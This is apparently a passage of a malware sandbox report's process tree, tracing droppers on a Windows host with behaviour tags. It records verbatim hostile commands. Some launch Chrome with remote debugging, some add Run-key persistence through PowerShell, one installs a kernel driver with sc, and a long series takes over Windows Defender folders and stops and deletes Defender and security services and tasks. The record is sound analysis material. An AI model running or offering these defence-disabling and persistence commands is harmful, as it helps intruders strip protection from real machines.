C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe33eddcf8,0x7ffe33eddd04,0x7ffe33eddd1010⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1840,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:1110⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2468,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:210⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2016,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=2832 /prefetch:1310⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:110⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3240,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:110⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4124,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:910⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4536,i,2287239991902363539,8587965660113141562,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:110⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 132 -s 13449⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 132 -s 13609⤵
- Program crash
-
-
-
-
C:\ProgramData\y5xtj5pzmg.exe"C:\ProgramData\y5xtj5pzmg.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\bHt28Zow\leYmMnjYfY2zaADV.exeC:\Users\Admin\AppData\Local\Temp\bHt28Zow\leYmMnjYfY2zaADV.exe 08⤵
-
C:\Users\Admin\AppData\Local\Temp\bHt28Zow\ZZIc1t7zu23pCQFQ.exeC:\Users\Admin\AppData\Local\Temp\bHt28Zow\ZZIc1t7zu23pCQFQ.exe 90209⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12232 -s 68410⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9020 -s 10809⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\gd2va" & exit7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 118⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4J9GJ.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-4J9GJ.tmp\Bell_Setup16.tmp" /SL5="$32025E,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8T7S2.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-8T7S2.tmp\Bell_Setup16.tmp" /SL5="$33025E,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT8⤵
-
C:\Windows\SysWOW64\regsvr32.exe"regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe"PowerShell.exe" -NoProfile -NonInteractive -Command -10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe6⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe7⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe8⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe9⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe10⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe11⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe12⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe13⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe14⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe15⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe16⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe17⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe18⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe19⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe20⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe21⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe22⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe23⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe24⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe25⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe26⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe27⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe28⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe29⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe30⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe31⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe32⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe33⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe34⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe35⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe36⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe37⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe38⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe39⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe40⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe41⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe42⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe43⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe44⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe45⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe46⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe47⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe48⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe49⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe50⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe51⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe52⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe53⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe54⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe55⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe56⤵
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javapluginw.exe"57⤵
- Modifies registry key
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javapluginw.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe\"'"57⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043090101\530a71ca97.exe"C:\Users\Admin\AppData\Local\Temp\10043090101\530a71ca97.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10043090101\530a71ca97.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043100101\a1996fd831.exe"C:\Users\Admin\AppData\Local\Temp\10043100101\a1996fd831.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10043100101\a1996fd831.exe"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10360180101\bot.exe"C:\Users\Admin\AppData\Local\Temp\10360180101\bot.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe13⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe15⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe16⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe17⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe18⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe19⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe20⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe21⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe22⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe23⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe24⤵
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javaruntime_platform.exe"25⤵
- Modifies registry key
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javaruntime_platform.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe\"'"25⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361040101\apple.exe"C:\Users\Admin\AppData\Local\Temp\10361040101\apple.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\22.exe"C:\Users\Admin\AppData\Local\Temp\22.exe"4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FC1E.tmp\FC1F.tmp\FC20.bat C:\Users\Admin\AppData\Local\Temp\22.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\22.exe"C:\Users\Admin\AppData\Local\Temp\22.exe" go6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FFE7.tmp\FFE8.tmp\FFE9.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"7⤵
-
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 18⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete ddrver8⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361660101\UYpk7xI.exe"C:\Users\Admin\AppData\Local\Temp\10361660101\UYpk7xI.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xdc,0x108,0x7ffe33eddcf8,0x7ffe33eddd04,0x7ffe33eddd106⤵
-
-
